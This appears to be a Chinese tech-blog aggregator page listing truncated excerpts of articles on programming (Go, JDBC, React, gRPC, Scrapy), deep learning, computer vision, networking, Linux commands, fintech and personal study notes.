前言 在人工智能技术飞速发展的今天,深度学习与大模型技术已成为推动行业变革的核心驱动力,而高效、灵活的开发工具与编程语言则为技术创新提供了重要支撑。本书以两大前沿技术领域为核心,系统性地呈现了两部深度技术著作的精华:…...
printf耗时高的原因
背景:设备升级初始化失败。具体表现为:app在启动dsp后,需在15秒内与其建立连接以确认通信成功,但当前未能在此时间限制内完成连接。 排查过程:通过在初始化过程中添加耗时打印,发现各阶段耗时虽不高&#…...
20250517 我设想一个空间,无限大,空间不与其中物质进行任何作用,甚至这个空间能容纳可以伸缩的空间
1.我设想一个空间,无限大,空间不与其中物质进行任何作用,甚至这个空间能容纳可以伸缩的空间 您设想的这个空间具有一些有趣的特点: 无限大:空间本身没有边界或限制,理论上可以容纳无限多的物质或结构。非…...
GO语言学习(二)
GO语言学习(二) method(方法) 这一节我们介绍一下GO语言的面向对象,之前我们学习了struct结构体,现在我们来解释一下方法method主要是为了简化代码,在计算同类时,使用函数接收方法…...
神经网络与深度学习第六章--循环神经网络(理论)
#第六章-循环神经网络 前馈神经网络的缺点: ①信息的传递是单向的。前馈神经网络可以看作一个复杂的函数,每次的输入都是独立的,即网络的输出只依赖于当前的输入。前馈神经网络是一种静态网络,没有记忆能力,就无法模拟…...
第三十五节:特征检测与描述-ORB 特征
1. 引言:为什么需要ORB? 在计算机视觉领域,特征检测与描述是许多任务(如图像匹配、目标跟踪、三维重建等)的核心基础。传统的算法如SIFT(尺度不变特征变换)和SURF(加速稳健特征)因其优异的性能被广泛应用,但它们存在两个显著问题: 专利限制:SIFT和SURF受专利保护,…...
重庆 ICPC 比赛游记
2025.5.9 比赛前一天晚上,激动地睡不着觉,起来收拾了好多东西。(其实就四本书,剩下的全是零食……关键在于这四本书基本没用。) 2025.5.10 学校丧心病狂的让我们 6:20 到校门口集合坐车(据说是怕赶不上比…...
二进制与十进制互转的方法
附言: 在计算机科学和数字系统中,二进制和十进制是最常见的两种数制。二进制是计算机内部数据存储和处理的基础,而十进制则是我们日常生活中最常用的数制。因此,掌握二进制与十进制之间的转换方法对于计算机学习者和相关领域的从业者来说至关…...
咖啡叶子病害检测数据集VOC+YOLO格式1468张4类别均为单叶子
数据集格式:Pascal VOC格式YOLO格式(不包含分割路径的txt文件,仅仅包含jpg图片以及对应的VOC格式xml文件和yolo格式txt文件) 图片数量(jpg文件个数):1468 标注数量(xml文件个数):1468 标注数量(txt文件个数):1468 …...
JDBC实现模糊、动态与分页查询的详解
文章目录 一. 模糊查询1. Mysql的写法2. JDBC的实现 二. 动态条件查询1. 创建生成动态条件查询sql的方法2. 完整的动态条件查询类以及测试类 三. 分页查询1. 什么是分页查询?2. 分页查询的分类3. MySQL的实现4. JDBC实现4.1. 创建page页4.2. 分页的实现 本章来讲一下…...
golang读、写、复制、创建目录、删除、重命名,文件方法总结
文章目录 一、只读文件二、写入文件三、复制文件四、创建目录五、删除目录/文件五、重命名文件 一、只读文件 file, err : os.Open("./main.go")defer file.Close() //打开文件一定要关闭关闭文件if err ! nil {fmt.Println("文件打开失败", err)}/*方案一…...
信贷域——互联网金融业务
摘要 本文深入探讨了信贷域全托与半托业务的定义、特点、适用场景及注意事项,并分析了互联网金融核心信息流的多个方面,包括资金流、信息流、风险流、合规流、物流、技术流和商流,还阐述了金融系统“断直连”业务的相关内容,以及…...
计算机操作系统概要
不谋万世者,不⾜谋⼀时。不谋全局者 ,足谋⼀域 。 ——陈澹然《寤⾔》《迁都建藩议》 操作系统 一.对文件简单操作的常用基础指令 ls ls 选项 目录或⽂件名:罗列当前⽬录下的⽂件 -l:以长格式显示⽂件和⽬录的详细信息 -a 或 --all&…...
gRPC开发指南:Visual Studio 2022 + Vcpkg + Windows全流程配置
前言 gRPC作为Google开源的高性能RPC框架,在微服务架构中扮演着重要角色。本文将详细介绍在Windows平台下,使用Visual Studio 2022和Vcpkg进行gRPC开发的完整流程,包括环境配置、项目搭建、常见问题解决等实用内容。 环境准备 1. 安装必要组…...
MATLAB安装常见问题及解决办法
MATLAB安装失败 安装MATLAB时可能会遇到失败的情况,通常是由于系统环境不兼容或安装文件损坏。确保系统满足MATLAB的最低要求,并重新下载安装文件。如果问题仍然存在,可以尝试以管理员身份运行安装程序。 许可证激活问题 在激活MATLAB许可证时,可能会遇到激活失败或无法…...
英语学习5.17
attract 👉 前缀:at-(朝向) 👉 含义:吸引(朝某处拉) 例句:The flowers attract bees. (花吸引蜜蜂。) distract 👉 前缀ÿ…...
深入解析 React 的 useEffect:从入门到实战
文章目录 前言一、为什么需要 useEffect?核心作用: 二、useEffect 的基础用法1. 基本语法2. 依赖项数组的作用 三、依赖项数组演示1. 空数组 []:2.无依赖项(空)3.有依赖项 四、清理副作用函数实战案例演示1. 清除定时器…...
Scrapy进阶实践指南:从脚本运行到分布式爬取
Scrapy作为Python生态中最强大的爬虫框架之一,其官方文档的"Common Practices"章节总结了多个高频使用场景的解决方案。本文将深入解析如何通过脚本控制爬虫、多爬虫协同工作、分布式部署策略以及反反爬技巧,帮助开发者突破基础使用限制。 一…...
(面试)TCP、UDP协议
TCP(传输控制协议)和UDP(用户数据报协议)是互联网核心的传输层协议,负责应用程序之间的数据传输。它们在设计目标、特性和适用场景上有显著差异: TCP:面向连接,可靠的,速…...